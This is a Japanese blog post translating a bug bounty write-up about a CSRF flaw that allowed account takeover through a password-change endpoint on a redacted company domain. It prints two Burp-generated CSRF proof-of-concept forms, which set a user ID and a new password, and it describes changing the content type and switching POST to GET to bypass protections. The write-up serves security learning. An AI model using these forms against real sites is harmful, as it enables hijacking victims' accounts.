Shikata Ga Nai

Private? There is no such things.

How I hunted my first bug bounty(CSRF to account takeover)を訳してみた

Hello there, ('ω')ノ

 

初めてのバグ報奨金 (CSRF からアカウント乗っ取り) をどうやって見つけたかを。

 

脆弱性

 アカウント乗っ取り

 

記事:

 https://medium.com/@shellreaper/how-i-hunted-my-first-bug-bounty-csrf-to-account-takeover-384ec1607a09

 

今回は、最初の報奨金を見つけた方法について。

会社のドメインをテストしていたので、redacted.netと呼ぶことに。

パスワード機能の変更を使い果たしたときに。

mycompany.redacted.net をテストしに行きましたが。

管理者が ID を使用して任意のユーザのパスワードを変更できるため少し異なり。

リクエストは次のようなもので。

 

 

IDOR のテスト後に最初に頭に浮かんだのは CSRF で。

csrf の概念実証を作成しましたが、機能せず。

 

このアイデアが頭に浮かぶまでしばらく考え続け。

jsonパラメータの代わりにHTTP POSTパラメータを送信すべきではないので。

コンテンツタイプを次のように変更してリクエストを作成して。

 

 application/x-www-form-urlencoded; charset=utf-8 

 

Burp Suiteを使ってこのcsrf PoCを作って。

 

<html>
 <! - CSRF PoC - generated by Burp Suite Professional →
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="https://mycompany.reacted.net/editUser/ChangePassword" method="POST">
 <input type="hidden" name="Id" value="1" />
 <input type="hidden" name="password" value="password123" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

 

しかし、それをテストしたとき、それは機能せず、要求は行われず。

そこでPoCリクエストを傍受して問題の解明を試みると。

クッキーが完全に含まれていないことに気付いて。

リクエストにクッキーを含めて。

リクエストメソッドを変更するバイパス技術を思い出して。

それが、下記がPOST から GET に変更した結果で。

 

 

リクエストが送信されて機能したので、リンクを自分に送信して試してみて。

下記がその結果で。

 

<html>
 <! - CSRF PoC - generated by Burp Suite Professional →
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="https://mycompany.redacted.net/editUser/ChangePassword/">
 <input type="hidden" name="Id" value="1" />
 <input type="hidden" name="password" value="password123" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

 

これが、アカウントの乗っ取りにつながるリスクの高いCSRFを見つけた方法で。

 

Best regards, (^^ゞ